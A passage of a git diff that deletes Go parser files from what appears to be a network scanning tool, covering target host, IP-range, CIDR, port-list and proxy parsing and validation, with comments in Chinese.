- if !np.isValidUserAgent(userAgent) {
- warnings = append(warnings, "用户代理格式可能不被目标服务器识别")
- }
-
- return userAgent, errors, warnings
-}
-
-// parseCookie 解析Cookie
-func (np *NetworkParser) parseCookie(cookie string) (string, []error, []string) {
- var errors []error
- var warnings []string
-
- if cookie == "" {
- return "", errors, warnings
- }
-
- // 基本格式验证
- if len(cookie) > MaxCookieLength { // HTTP Cookie长度限制
- errors = append(errors, NewParseError(ErrorTypeCookieError, "Cookie字符串过长", "cookie", 0, nil))
- return "", errors, warnings
- }
-
- // 检查Cookie格式
- if !np.isValidCookie(cookie) {
- warnings = append(warnings, "Cookie格式可能不正确")
- }
-
- return cookie, errors, warnings
-}
-
-// normalizeHttpProxy 规范化HTTP代理URL
-func (np *NetworkParser) normalizeHttpProxy(proxy string) string {
- switch strings.ToLower(proxy) {
- case ProxyShortcut1:
- return ProxyShortcutHTTP
- case ProxyShortcut2:
- return ProxyShortcutSOCKS5
- default:
- // 如果没有协议前缀,默认使用HTTP
- if !strings.Contains(proxy, ProtocolPrefix) {
- if strings.Contains(proxy, ":") {
- return HTTPPrefix + proxy
- } else {
- return HTTPPrefix + "127.0.0.1:" + proxy
- }
- }
- return proxy
- }
-}
-
-// normalizeSocks5Proxy 规范化Socks5代理URL
-func (np *NetworkParser) normalizeSocks5Proxy(proxy string) string {
- // 如果没有协议前缀,添加SOCKS5协议
- if !strings.HasPrefix(proxy, SOCKS5Prefix) {
- if strings.Contains(proxy, ":") {
- return SOCKS5Prefix + proxy
- } else {
- return SOCKS5Prefix + "127.0.0.1:" + proxy
- }
- }
- return proxy
-}
-
-// validateProxyURL 验证代理URL格式
-func (np *NetworkParser) validateProxyURL(proxyURL string) error {
- if proxyURL == "" {
- return nil
- }
-
- parsedURL, err := url.Parse(proxyURL)
- if err != nil {
- return fmt.Errorf("代理URL格式无效: %v", err)
- }
-
- // 检查协议
- switch parsedURL.Scheme {
- case ProtocolHTTP, ProtocolHTTPS, ProtocolSOCKS5:
- // 支持的协议
- default:
- return fmt.Errorf("不支持的代理协议: %s", parsedURL.Scheme)
- }
-
- // 检查主机名
- if parsedURL.Hostname() == "" {
- return fmt.Errorf("代理主机名为空")
- }
-
- // 检查端口
- portStr := parsedURL.Port()
- if portStr != "" {
- port, err := strconv.Atoi(portStr)
- if err != nil {
- return fmt.Errorf("代理端口号无效: %s", portStr)
- }
- if port < 1 || port > 65535 {
- return fmt.Errorf("代理端口号超出范围: %d", port)
- }
- }
-
- // 安全检查
- if !np.options.AllowInsecure && parsedURL.Scheme == ProtocolHTTP {
- return fmt.Errorf("不允许使用不安全的HTTP代理")
- }
-
- return nil
-}
-
-// isValidUserAgent 检查用户代理是否有效
-func (np *NetworkParser) isValidUserAgent(userAgent string) bool {
- // 检查是否包含常见的浏览器标识
- commonBrowsers := GetCommonBrowsers()
-
- userAgentLower := strings.ToLower(userAgent)
- for _, browser := range commonBrowsers {
- if strings.Contains(userAgentLower, strings.ToLower(browser)) {
- return true
- }
- }
-
- return false
-}
-
-// isValidCookie 检查Cookie格式是否有效
-func (np *NetworkParser) isValidCookie(cookie string) bool {
- // 基本Cookie格式检查 (name=value; name2=value2)
- return CompiledCookieRegex.MatchString(strings.TrimSpace(cookie))
-}
-
-// =============================================================================================
-// 已删除的死代码(未使用):Validate 和 GetStatistics 方法
-// =============================================================================================
\ No newline at end of file
diff --git a/Common/parsers/Simple.go b/Common/parsers/Simple.go
deleted file mode 100644
index 16ee0f3..0000000
--- a/Common/parsers/Simple.go
+++ /dev/null
@@ -1,366 +0,0 @@
-package parsers
-
-import (
- "bufio"
- "fmt"
- "net"
- "os"
- "sort"
- "strconv"
- "strings"
-)
-
-/*
-Simple.go - 简化版本的解析器函数
-
-这个文件提供了简化但功能完整的解析函数,用于替代复杂的解析器架构。
-保持与现有代码的接口兼容性,但大幅简化实现逻辑。
-*/
-
-// =============================================================================
-// 简化的IP/主机解析函数
-// =============================================================================
-
-// ParseIP 解析各种格式的IP地址
-// 支持单个IP、IP范围、CIDR和文件输入
-func ParseIP(host string, filename string, nohosts ...string) ([]string, error) {
- var hosts []string
-
- // 如果提供了文件名,从文件读取主机列表
- if filename != "" {
- fileHosts, fileErr := readHostsFromFile(filename)
- if fileErr != nil {
- return nil, fmt.Errorf("读取主机文件失败: %v", fileErr)
- }
- hosts = append(hosts, fileHosts...)
- }
-
- // 解析主机参数
- if host != "" {
- hostList, hostErr := parseHostString(host)
- if hostErr != nil {
- return nil, fmt.Errorf("解析主机失败: %v", hostErr)
- }
- hosts = append(hosts, hostList...)
- }
-
- // 处理排除主机
- if len(nohosts) > 0 && nohosts[0] != "" {
- excludeList, excludeErr := parseHostString(nohosts[0])
- if excludeErr != nil {
- return nil, fmt.Errorf("解析排除主机失败: %v", excludeErr)
- }
- hosts = excludeHosts(hosts, excludeList)
- }
-
- // 去重和排序
- hosts = removeDuplicates(hosts)
- sort.Strings(hosts)
-
- if len(hosts) == 0 {
- return nil, fmt.Errorf("没有找到有效的主机")
- }
-
- return hosts, nil
-}
-
-// =============================================================================
-// 简化的端口解析函数
-// =============================================================================
-
-// ParsePort 解析端口配置字符串为端口号列表
-// 保持与 ParsePort 的接口兼容性
-func ParsePort(ports string) []int {
- if ports == "" {
- return nil
- }
-
- var result []int
-
- // 处理预定义端口组
- ports = expandPortGroups(ports)
-
- // 按逗号分割
- for _, portStr := range strings.Split(ports, ",") {
- portStr = strings.TrimSpace(portStr)
- if portStr == "" {
- continue
- }
-
- // 处理端口范围 (如 1-100)
- if strings.Contains(portStr, "-") {
- rangePorts := parsePortRange(portStr)
- result = append(result, rangePorts...)
- } else {
- // 单个端口
- if port, err := strconv.Atoi(portStr); err == nil {
- if port >= MinPort && port <= MaxPort {
- result = append(result, port)
- }
- }
- }
- }
-
- // 去重和排序
- result = removeDuplicatePorts(result)
- sort.Ints(result)
-
- return result
-}
-
-// 已移除未使用的 ParsePortsFromString 方法
-
-// =============================================================================
-// 辅助函数
-// =============================================================================
-
-// readHostsFromFile 从文件读取主机列表
-func readHostsFromFile(filename string) ([]string, error) {
- file, err := os.Open(filename)
- if err != nil {
- return nil, err
- }
- defer file.Close()
-
- var hosts []string
- scanner := bufio.NewScanner(file)
- for scanner.Scan() {
- line := strings.TrimSpace(scanner.Text())
- if line != "" && !strings.HasPrefix(line, CommentPrefix) {
- hosts = append(hosts, line)
- }
- }
-
- return hosts, scanner.Err()
-}
-
-// parseHostString 解析主机字符串
-func parseHostString(host string) ([]string, error) {
- var hosts []string
-
- // 按逗号分割多个主机
- for _, h := range strings.Split(host, ",") {
- h = strings.TrimSpace(h)
- if h == "" {
- continue
- }
-
- // 检查是否为CIDR格式
- if strings.Contains(h, "/") {
- cidrHosts, err := parseCIDR(h)
- if err != nil {
- return nil, fmt.Errorf("解析CIDR %s 失败: %v", h, err)
- }
- hosts = append(hosts, cidrHosts...)
- } else if strings.Contains(h, "-") && !strings.Contains(h, ":") {
- // IP范围格式 (如 192.168.1.1-10)
- rangeHosts, err := parseIPRange(h)
- if err != nil {
- return nil, fmt.Errorf("解析IP范围 %s 失败: %v", h, err)
- }
- hosts = append(hosts, rangeHosts...)
- } else {
- // 单个主机
- hosts = append(hosts, h)
- }
- }
-
- return hosts, nil
-}
-
-// parseCIDR 解析CIDR格式的网段
-func parseCIDR(cidr string) ([]string, error) {
- _, ipNet, err := net.ParseCIDR(cidr)
- if err != nil {
- return nil, err
- }
-
- var hosts []string
- for ip := ipNet.IP.Mask(ipNet.Mask); ipNet.Contains(ip); nextIP(ip) {
- hosts = append(hosts, ip.String())
-
- // 限制最大主机数量,防止内存溢出
- if len(hosts) > SimpleMaxHosts {
- break
- }
- }
-
- // 移除网络地址和广播地址
- if len(hosts) > 2 {
- hosts = hosts[1 : len(hosts)-1]
- }
-
- return hosts, nil
-}
-
-// parseIPRange 解析IP范围
-func parseIPRange(rangeStr string) ([]string, error) {
- parts := strings.Split(rangeStr, "-")
- if len(parts) != 2 {
- return nil, fmt.Errorf("无效的IP范围格式: %s", rangeStr)
- }
-
- startIP := strings.TrimSpace(parts[0])
- endPart := strings.TrimSpace(parts[1])
-
- // 检查是否为短格式 (如 192.168.1.1-10)
- if !strings.Contains(endPart, ".") {
- return parseShortIPRange(startIP, endPart)
- }
-
- // 完整IP范围
- return parseFullIPRange(startIP, endPart)
-}
-
-// parseShortIPRange 解析短格式IP范围
-func parseShortIPRange(startIPStr, endSuffix string) ([]string, error) {
- startIP := net.ParseIP(startIPStr)
- if startIP == nil {
- return nil, fmt.Errorf("无效的起始IP: %s", startIPStr)
- }
-
- endNum, err := strconv.Atoi(endSuffix)
- if err != nil {
- return nil, fmt.Errorf("无效的结束数字: %s", endSuffix)
- }
-
- var hosts []string
- startIPParts := strings.Split(startIPStr, ".")
- if len(startIPParts) != IPv4OctetCount {
- return nil, fmt.Errorf("无效的IP格式: %s", startIPStr)
- }
-
- baseIP := strings.Join(startIPParts[:3], ".")
- startNum, _ := strconv.Atoi(startIPParts[3])
-
- for i := startNum; i <= endNum && i <= RouterSwitchLastOctet; i++ {
- hosts = append(hosts, fmt.Sprintf("%s.%d", baseIP, i))
- }
-
- return hosts, nil
-}
-
-// parseFullIPRange 解析完整IP范围
-func parseFullIPRange(startIPStr, endIPStr string) ([]string, error) {
- startIP := net.ParseIP(startIPStr)
- endIP := net.ParseIP(endIPStr)
-
- if startIP == nil || endIP == nil {
- return nil, fmt.Errorf("无效的IP地址")
- }
-
- var hosts []string
- for ip := make(net.IP, len(startIP)); ; nextIP(ip) {
- copy(ip, startIP)
- hosts = append(hosts, ip.String())
-
- if ip.Equal(endIP) {
- break
- }
-
- // 限制最大主机数量
- if len(hosts) > SimpleMaxHosts {
- break
- }
-
- nextIP(startIP)
- }
-
- return hosts, nil
-}
-
-// parsePortRange 解析端口范围
-func parsePortRange(rangeStr string) []int {
- parts := strings.Split(rangeStr, "-")
- if len(parts) != 2 {
- return nil
- }
-
- start, err1 := strconv.Atoi(strings.TrimSpace(parts[0]))
- end, err2 := strconv.Atoi(strings.TrimSpace(parts[1]))
-
- if err1 != nil || err2 != nil || start < MinPort || end > MaxPort || start > end {
- return nil
- }
-
- var ports []int
- for i := start; i <= end; i++ {
- ports = append(ports, i)
- }
-
- return ports
-}
-
-// expandPortGroups 展开端口组
-func expandPortGroups(ports string) string {
- // 使用预定义的端口组
- portGroups := GetPortGroups()
-
- result := ports
- for group, portList := range portGroups {
- result = strings.ReplaceAll(result, group, portList)
- }
-
- return result
-}
-
-// excludeHosts 排除指定的主机
-func excludeHosts(hosts, excludeList []string) []string {
- if len(excludeList) == 0 {
- return hosts
- }
-
- excludeMap := make(map[string]struct{})
- for _, exclude := range excludeList {
- excludeMap[exclude] = struct{}{}
- }
-
- var result []string
- for _, host := range hosts {
- if _, found := excludeMap[host]; !found {
- result = append(result, host)
- }
- }
-
- return result
-}
-
-// removeDuplicates 去除字符串重复项
-func removeDuplicates(slice []string) []string {
- keys := make(map[string]struct{})
- var result []string
-
- for _, item := range slice {
- if _, found := keys[item]; !found {
- keys[item] = struct{}{}
- result = append(result, item)
- }
- }
-
- return result
-}
-
-// removeDuplicatePorts 去除端口重复项
-func removeDuplicatePorts(slice []int) []int {
- keys := make(map[int]struct{})
- var result []int
-
- for _, item := range slice {
- if _, found := keys[item]; !found {
- keys[item] = struct{}{}
- result = append(result, item)
- }
- }
-
- return result
-}
-
-// nextIP 计算下一个IP地址
-func nextIP(ip net.IP) {
- for j := len(ip) - 1; j >= 0; j-- {
- ip[j]++
- if ip[j] > 0 {
- break
- }
- }
-}
\ No newline at end of file
diff --git a/Common/parsers/TargetParser.go b/Common/parsers/TargetParser.go
deleted file mode 100644
index 6986afd..0000000
--- a/Common/parsers/TargetParser.go
+++ /dev/null
@@ -1,920 +0,0 @@
-package parsers
-
-import (
- "fmt"
- "net"
- "net/url"
- "regexp"
- "strconv"
- "strings"
- "sync"
- "time"
-)
-
-// TargetParser 目标解析器
-type TargetParser struct {
- fileReader *FileReader
- mu sync.RWMutex //nolint:unused // reserved for future thread safety
- ipRegex *regexp.Regexp
- portRegex *regexp.Regexp
- urlRegex *regexp.Regexp
- options *TargetParserOptions
-}
-
-// TargetParserOptions 目标解析器选项
-type TargetParserOptions struct {
- MaxTargets int `json:"max_targets"`
- MaxPortRange int `json:"max_port_range"`
- AllowPrivateIPs bool `json:"allow_private_ips"`
- AllowLoopback bool `json:"allow_loopback"`
- ValidateURLs bool `json:"validate_urls"`
- ResolveDomains bool `json:"resolve_domains"`
- EnableStatistics bool `json:"enable_statistics"`
-}
-
-// DefaultTargetParserOptions 默认目标解析器选项
-func DefaultTargetParserOptions() *TargetParserOptions {
- return &TargetParserOptions{
- MaxTargets: DefaultTargetMaxTargets,
- MaxPortRange: DefaultMaxPortRange,
- AllowPrivateIPs: DefaultAllowPrivateIPs,
- AllowLoopback: DefaultAllowLoopback,
- ValidateURLs: DefaultValidateURLs,
- ResolveDomains: DefaultResolveDomains,
- EnableStatistics: DefaultTargetEnableStatistics,
- }
-}
-
-// NewTargetParser 创建目标解析器
-func NewTargetParser(fileReader *FileReader, options *TargetParserOptions) *TargetParser {
- if options == nil {
- options = DefaultTargetParserOptions()
- }
-
- // 使用预编译的正则表达式
- ipRegex := CompiledIPv4Regex
- portRegex := CompiledPortRegex
- urlRegex := CompiledURLRegex
-
- return &TargetParser{
- fileReader: fileReader,
- ipRegex: ipRegex,
- portRegex: portRegex,
- urlRegex: urlRegex,
- options: options,
- }
-}
-
-// TargetInput 目标输入参数
-type TargetInput struct {
- // 主机相关
- Host string `json:"host"`
- HostsFile string `json:"hosts_file"`
- ExcludeHosts string `json:"exclude_hosts"`
-
- // 端口相关
- Ports string `json:"ports"`
- PortsFile string `json:"ports_file"`
- AddPorts string `json:"add_ports"`
- ExcludePorts string `json:"exclude_ports"`
-
- // URL相关
- TargetURL string `json:"target_url"`
- URLsFile string `json:"urls_file"`
-
- // 主机端口组合
- HostPort []string `json:"host_port"`
-
- // 模式标识
- LocalMode bool `json:"local_mode"`
-}
-
-// Parse 解析目标配置
-func (tp *TargetParser) Parse(input *TargetInput, options *ParserOptions) (*ParseResult, error) {
- if input == nil {
- return nil, NewParseError(ErrorTypeInputError, "目标输入为空", "", 0, ErrEmptyInput)
- }
-
- startTime := time.Now()
- result := &ParseResult{
- Config: &ParsedConfig{
- Targets: &TargetConfig{
- LocalMode: input.LocalMode,
- },
- },
- Success: true,
- }
-
- var errors []error
- var warnings []string
-
- // 解析主机
- hosts, hostErrors, hostWarnings := tp.parseHosts(input)
- errors = append(errors, hostErrors...)
- warnings = append(warnings, hostWarnings...)
-
- // 解析URL
- urls, urlErrors, urlWarnings := tp.parseURLs(input)
- errors = append(errors, urlErrors...)
- warnings = append(warnings, urlWarnings...)
-
- // 解析端口
- ports, portErrors, portWarnings := tp.parsePorts(input)
- errors = append(errors, portErrors...)
- warnings = append(warnings, portWarnings...)
-
- // 解析排除端口
- excludePorts, excludeErrors, excludeWarnings := tp.parseExcludePorts(input)
- errors = append(errors, excludeErrors...)
- warnings = append(warnings, excludeWarnings...)
-
- // 解析主机端口组合
- hostPorts, hpErrors, hpWarnings := tp.parseHostPorts(input)
- errors = append(errors, hpErrors...)
- warnings = append(warnings, hpWarnings...)
-
- // 更新配置
- result.Config.Targets.Hosts = hosts
- result.Config.Targets.URLs = urls
- result.Config.Targets.Ports = ports
- result.Config.Targets.ExcludePorts = excludePorts
- result.Config.Targets.HostPorts = hostPorts
-
- // 生成统计信息
- if tp.options.EnableStatistics {
- result.Config.Targets.Statistics = tp.generateStatistics(hosts, urls, ports, excludePorts)
- }
-
- // 设置结果状态
- result.Errors = errors
- result.Warnings = warnings
- result.ParseTime = time.Since(startTime)
- result.Success = len(errors) == 0
-
- return result, nil
-}
-
-// parseHosts 解析主机
-func (tp *TargetParser) parseHosts(input *TargetInput) ([]string, []error, []string) {
- var hosts []string
- var errors []error
- var warnings []string
-
- // 解析命令行主机
- if input.Host != "" {
- hostList, err := tp.parseHostList(input.Host)
- if err != nil {
- errors = append(errors, NewParseError(ErrorTypeHostError, err.Error(), "command line", 0, err))
- } else {
- hosts = append(hosts, hostList...)
- }
- }
-
- // 从文件读取主机
- if input.HostsFile != "" {
- fileResult, err := tp.fileReader.ReadFile(input.HostsFile)
- if err != nil {
- errors = append(errors, NewParseError(ErrorTypeFileError, "读取主机文件失败", input.HostsFile, 0, err))
- } else {
- for i, line := range fileResult.Lines {
- hostList, err := tp.parseHostList(line)
- if err != nil {
- warnings = append(warnings, fmt.Sprintf("主机文件第%d行解析失败: %s", i+1, err.Error()))
- } else {
- hosts = append(hosts, hostList...)
- }
- }
- }
- }
-
- // 处理排除主机
- if input.ExcludeHosts != "" {
- excludeList, err := tp.parseHostList(input.ExcludeHosts)
- if err != nil {
- warnings = append(warnings, fmt.Sprintf("排除主机解析失败: %s", err.Error()))
- } else {
- hosts = tp.excludeHosts(hosts, excludeList)
- }
- }
-
- // 去重和验证,同时分离host:port格式
- hosts = tp.removeDuplicateStrings(hosts)
- validHosts := make([]string, 0, len(hosts))
- hostPorts := make([]string, 0)
-
- for _, host := range hosts {
- // 检查是否为host:port格式
- if strings.Contains(host, ":") {
- if h, portStr, err := net.SplitHostPort(host); err == nil {
- // 验证端口号
- if port, portErr := strconv.Atoi(portStr); portErr == nil && port >= MinPort && port <= MaxPort {
- // 验证主机部分
- if valid, hostErr := tp.validateHost(h); valid {
- // 这是有效的host:port组合,添加到hostPorts
- hostPorts = append(hostPorts, host)
- continue
- } else if hostErr != nil {
- warnings = append(warnings, fmt.Sprintf("无效主机端口组合: %s - %s", host, hostErr.Error()))
- continue
- }
- }
- }
- }
-
- // 作为普通主机验证
- if valid, err := tp.validateHost(host); valid {
- validHosts = append(validHosts, host)
- } else if err != nil {
- warnings = append(warnings, fmt.Sprintf("无效主机: %s - %s", host, err.Error()))
- }
- }
-
- // 将找到的hostPorts合并到输入结果中(通过修改input结构)
- if len(hostPorts) > 0 {
- input.HostPort = append(input.HostPort, hostPorts...)
- }
-
- // 检查目标数量限制
- if len(validHosts) > tp.options.MaxTargets {
- warnings = append(warnings, fmt.Sprintf("主机数量超过限制,截取前%d个", tp.options.MaxTargets))
- validHosts = validHosts[:tp.options.MaxTargets]
- }
-
- return validHosts, errors, warnings
-}
-
-// parseURLs 解析URL
-func (tp *TargetParser) parseURLs(input *TargetInput) ([]string, []error, []string) {
- var urls []string
- var errors []error
- var warnings []string
-
- // 解析命令行URL
- if input.TargetURL != "" {
- urlList := strings.Split(input.TargetURL, ",")
- for _, rawURL := range urlList {
- rawURL = strings.TrimSpace(rawURL)
- if rawURL != "" {
- if valid, err := tp.validateURL(rawURL); valid {
- urls = append(urls, rawURL)
- } else {
- warnings = append(warnings, fmt.Sprintf("无效URL: %s - %s", rawURL, err.Error()))
- }
- }
- }
- }
-
- // 从文件读取URL
- if input.URLsFile != "" {
- fileResult, err := tp.fileReader.ReadFile(input.URLsFile)
- if err != nil {
- errors = append(errors, NewParseError(ErrorTypeFileError, "读取URL文件失败", input.URLsFile, 0, err))
- } else {
- for i, line := range fileResult.Lines {
- if valid, err := tp.validateURL(line); valid {
- urls = append(urls, line)
- } else {
- warnings = append(warnings, fmt.Sprintf("URL文件第%d行无效: %s", i+1, err.Error()))
- }
- }
- }
- }
-
- // 去重
- urls = tp.removeDuplicateStrings(urls)
-
- return urls, errors, warnings
-}
-
-// parsePorts 解析端口
-func (tp *TargetParser) parsePorts(input *TargetInput) ([]int, []error, []string) {
- var ports []int
- var errors []error
- var warnings []string
-
- // 解析命令行端口
- if input.Ports != "" {
- portList, err := tp.parsePortList(input.Ports)
- if err != nil {
- errors = append(errors, NewParseError(ErrorTypePortError, err.Error(), "command line", 0, err))
- } else {
- ports = append(ports, portList...)
- }
- }
-
- // 从文件读取端口
- if input.PortsFile != "" {
- fileResult, err := tp.fileReader.ReadFile(input.PortsFile)
- if err != nil {
- errors = append(errors, NewParseError(ErrorTypeFileError, "读取端口文件失败", input.PortsFile, 0, err))
- } else {
- for i, line := range fileResult.Lines {
- portList, err := tp.parsePortList(line)
- if err != nil {
- warnings = append(warnings, fmt.Sprintf("端口文件第%d行解析失败: %s", i+1, err.Error()))
- } else {
- ports = append(ports, portList...)
- }
- }
- }
- }
-
- // 处理额外端口
- if input.AddPorts != "" {
- addPortList, err := tp.parsePortList(input.AddPorts)
- if err != nil {
- warnings = append(warnings, fmt.Sprintf("额外端口解析失败: %s", err.Error()))
- } else {
- ports = append(ports, addPortList...)
- }
- }
-
- // 去重和排序
- ports = tp.removeDuplicatePorts(ports)
-
- return ports, errors, warnings
-}
-
-// parseExcludePorts 解析排除端口
-func (tp *TargetParser) parseExcludePorts(input *TargetInput) ([]int, []error, []string) {
- var excludePorts []int
- var errors []error
- var warnings []string
-
- if input.ExcludePorts != "" {
- portList, err := tp.parsePortList(input.ExcludePorts)
- if err != nil {
- errors = append(errors, NewParseError(ErrorTypeExcludePortError, err.Error(), "command line", 0, err))
- } else {
- excludePorts = portList
- }
- }
-
- return excludePorts, errors, warnings
-}
-
-// parseHostPorts 解析主机端口组合
-func (tp *TargetParser) parseHostPorts(input *TargetInput) ([]string, []error, []string) {
- var hostPorts []string
- var errors []error
- var warnings []string
-
- for _, hp := range input.HostPort {
- if hp != "" {
- if valid, err := tp.validateHostPort(hp); valid {
- hostPorts = append(hostPorts, hp)
- } else {
- warnings = append(warnings, fmt.Sprintf("无效主机端口组合: %s - %s", hp, err.Error()))
- }
- }
- }
-
- return hostPorts, errors, warnings
-}
-
-// parseHostList 解析主机列表
-func (tp *TargetParser) parseHostList(hostStr string) ([]string, error) {
- if hostStr == "" {
- return nil, nil
- }
-
- var hosts []string
- hostItems := strings.Split(hostStr, ",")
-
- for _, item := range hostItems {
- item = strings.TrimSpace(item)
- if item == "" {
- continue
- }
-
- // 检查各种IP格式
- switch {
- case item == PrivateNetwork192:
- // 常用内网段简写
- cidrHosts, err := tp.parseCIDR(PrivateNetwork192CIDR)
- if err != nil {
- return nil, fmt.Errorf("192网段解析失败: %v", err)
- }
- hosts = append(hosts, cidrHosts...)
- case item == PrivateNetwork172:
- // 常用内网段简写
- cidrHosts, err := tp.parseCIDR(PrivateNetwork172CIDR)
- if err != nil {
- return nil, fmt.Errorf("172网段解析失败: %v", err)
- }
- hosts = append(hosts, cidrHosts...)
- case item == PrivateNetwork10:
- // 常用内网段简写
- cidrHosts, err := tp.parseCIDR(PrivateNetwork10CIDR)
- if err != nil {
- return nil, fmt.Errorf("10网段解析失败: %v", err)
- }
- hosts = append(hosts, cidrHosts...)
- case strings.HasSuffix(item, "/8"):
- // 处理/8网段(使用采样方式)
- sampledHosts := tp.parseSubnet8(item)
- hosts = append(hosts, sampledHosts...)
- case strings.Contains(item, "/"):
- // CIDR表示法
- cidrHosts, err := tp.parseCIDR(item)
- if err != nil {
- return nil, fmt.Errorf("CIDR解析失败 %s: %v", item, err)
- }
- hosts = append(hosts, cidrHosts...)
- case strings.Contains(item, "-"):
- // IP范围表示法
- rangeHosts, err := tp.parseIPRange(item)
- if err != nil {
- return nil, fmt.Errorf("IP范围解析失败 %s: %v", item, err)
- }
- hosts = append(hosts, rangeHosts...)
- default:
- // 检查是否为host:port格式
- if strings.Contains(item, ":") {
- if _, portStr, err := net.SplitHostPort(item); err == nil {
- // 验证端口号
- if port, portErr := strconv.Atoi(portStr); portErr == nil && port >= MinPort && port <= MaxPort {
- // 这是有效的host:port格式,但在这里仍然作为主机处理
- // 在后续的processHostPorts函数中会被正确处理
- hosts = append(hosts, item)
- } else {
- // 端口无效,作为普通主机处理
- hosts = append(hosts, item)
- }
- } else {
- // 不是有效的host:port格式,作为普通主机处理
- hosts = append(hosts, item)
- }
- } else {
- // 单个IP或域名
- hosts = append(hosts, item)
- }
- }
- }
-
- return hosts, nil
-}
-
-// parsePortList 解析端口列表,支持预定义端口组
-func (tp *TargetParser) parsePortList(portStr string) ([]int, error) {
- if portStr == "" {
- return nil, nil
- }
-
- // 检查是否为预定义端口组
- portStr = tp.expandPortGroups(portStr)
-
- var ports []int
- portItems := strings.Split(portStr, ",")
-
- for _, item := range portItems {
- item = strings.TrimSpace(item)
- if item == "" {
- continue
- }
-
- if strings.Contains(item, "-") {
- // 端口范围
- rangePorts, err := tp.parsePortRange(item)
- if err != nil {
- return nil, fmt.Errorf("端口范围解析失败 %s: %v", item, err)
- }
-
- // 检查范围大小
- if len(rangePorts) > tp.options.MaxPortRange {
- return nil, fmt.Errorf("端口范围过大: %d, 最大允许: %d", len(rangePorts), tp.options.MaxPortRange)
- }
-
- ports = append(ports, rangePorts...)
- } else {
- // 单个端口
- port, err := strconv.Atoi(item)
- if err != nil {
- return nil, fmt.Errorf("无效端口号: %s", item)
- }
-
- if port < MinPort || port > MaxPort {
- return nil, fmt.Errorf("端口号超出范围: %d", port)
- }
-
- ports = append(ports, port)
- }
- }
-
- return ports, nil
-}
-
-// expandPortGroups 展开预定义端口组
-func (tp *TargetParser) expandPortGroups(portStr string) string {
- // 使用预定义的端口组
- portGroups := GetTargetPortGroups()
-
- if expandedPorts, exists := portGroups[portStr]; exists {
- return expandedPorts
- }
- return portStr
-}
-
-// parseCIDR 解析CIDR网段
-func (tp *TargetParser) parseCIDR(cidr string) ([]string, error) {
- _, ipNet, err := net.ParseCIDR(cidr)
- if err != nil {
- return nil, err
- }
-
- var ips []string
- ip := make(net.IP, len(ipNet.IP))
- copy(ip, ipNet.IP)
-
- count := 0
- for ipNet.Contains(ip) {
- ips = append(ips, ip.String())
- count++
-
- // 防止生成过多IP
- if count >= tp.options.MaxTargets {
- break
- }
-
- tp.nextIP(ip)
- }
-
- return ips, nil
-}
-
-// parseIPRange 解析IP范围,支持简写格式
-func (tp *TargetParser) parseIPRange(rangeStr string) ([]string, error) {
- parts := strings.Split(rangeStr, "-")
- if len(parts) != 2 {
- return nil, fmt.Errorf("无效的IP范围格式")
- }
-
- startIPStr := strings.TrimSpace(parts[0])
- endIPStr := strings.TrimSpace(parts[1])
-
- // 验证起始IP
- startIP := net.ParseIP(startIPStr)
- if startIP == nil {
- return nil, fmt.Errorf("无效的起始IP地址: %s", startIPStr)
- }
-
- // 处理简写格式 (如: 192.168.1.1-100)
- if len(endIPStr) < 4 || !strings.Contains(endIPStr, ".") {
- return tp.parseShortIPRange(startIPStr, endIPStr)
- }
-
- // 处理完整格式 (如: 192.168.1.1-192.168.1.100)
- endIP := net.ParseIP(endIPStr)
- if endIP == nil {
- return nil, fmt.Errorf("无效的结束IP地址: %s", endIPStr)
- }
-
- return tp.parseFullIPRange(startIP, endIP)
-}
-
-// parseShortIPRange 解析简写格式的IP范围
-func (tp *TargetParser) parseShortIPRange(startIPStr, endSuffix string) ([]string, error) {
- // 将结束段转换为数字
- endNum, err := strconv.Atoi(endSuffix)
- if err != nil || endNum > MaxIPv4OctetValue {
- return nil, fmt.Errorf("无效的IP范围结束值: %s", endSuffix)
- }
-
- // 分解起始IP
- ipParts := strings.Split(startIPStr, ".")
- if len(ipParts) != IPv4OctetCount {
- return nil, fmt.Errorf("无效的IP地址格式: %s", startIPStr)
- }
-
- // 获取前缀和起始IP的最后一部分
- prefixIP := strings.Join(ipParts[0:3], ".")
- startNum, err := strconv.Atoi(ipParts[3])
- if err != nil || startNum > endNum {
- return nil, fmt.Errorf("无效的IP范围: %s-%s", startIPStr, endSuffix)
- }
-
- // 生成IP范围
- var allIP []string
- for i := startNum; i <= endNum; i++ {
- allIP = append(allIP, fmt.Sprintf("%s.%d", prefixIP, i))
- }
-
- return allIP, nil
-}
-
-// parseFullIPRange 解析完整格式的IP范围
-func (tp *TargetParser) parseFullIPRange(startIP, endIP net.IP) ([]string, error) {
- // 转换为IPv4
- start4 := startIP.To4()
- end4 := endIP.To4()
- if start4 == nil || end4 == nil {
- return nil, fmt.Errorf("仅支持IPv4地址范围")
- }
-
- // 计算IP地址的整数表示
- startInt := (int(start4[0]) << IPFirstOctetShift) | (int(start4[1]) << IPSecondOctetShift) | (int(start4[2]) << IPThirdOctetShift) | int(start4[3])
- endInt := (int(end4[0]) << IPFirstOctetShift) | (int(end4[1]) << IPSecondOctetShift) | (int(end4[2]) << IPThirdOctetShift) | int(end4[3])
-
- // 检查范围的有效性
- if startInt > endInt {
- return nil, fmt.Errorf("起始IP大于结束IP")
- }
-
- // 限制IP范围的大小,防止生成过多IP导致内存问题
- if endInt-startInt > tp.options.MaxTargets {
- return nil, fmt.Errorf("IP范围过大,超过最大限制: %d", tp.options.MaxTargets)
- }
-
- // 生成IP范围
- var allIP []string
- for ipInt := startInt; ipInt <= endInt; ipInt++ {
- ip := fmt.Sprintf("%d.%d.%d.%d",
- (ipInt>>IPFirstOctetShift)&IPOctetMask,
- (ipInt>>IPSecondOctetShift)&IPOctetMask,
- (ipInt>>IPThirdOctetShift)&IPOctetMask,
- ipInt&IPOctetMask)
- allIP = append(allIP, ip)
- }
-
- return allIP, nil
-}
-
-// parseSubnet8 解析/8网段的IP地址,生成采样IP列表
-func (tp *TargetParser) parseSubnet8(subnet string) []string {
- // 去除CIDR后缀获取基础IP
- baseIP := subnet[:len(subnet)-2]
- if net.ParseIP(baseIP) == nil {
- return nil
- }
-
- // 获取/8网段的第一段
- firstOctet := strings.Split(baseIP, ".")[0]
- var sampleIPs []string
-
- // 对常用网段进行更全面的扫描
- commonSecondOctets := GetCommonSecondOctets()
-
- // 对于每个选定的第二段,采样部分第三段
- for _, secondOctet := range commonSecondOctets {
- for thirdOctet := 0; thirdOctet < 256; thirdOctet += Subnet8ThirdOctetStep {
- // 添加常见的网关和服务器IP
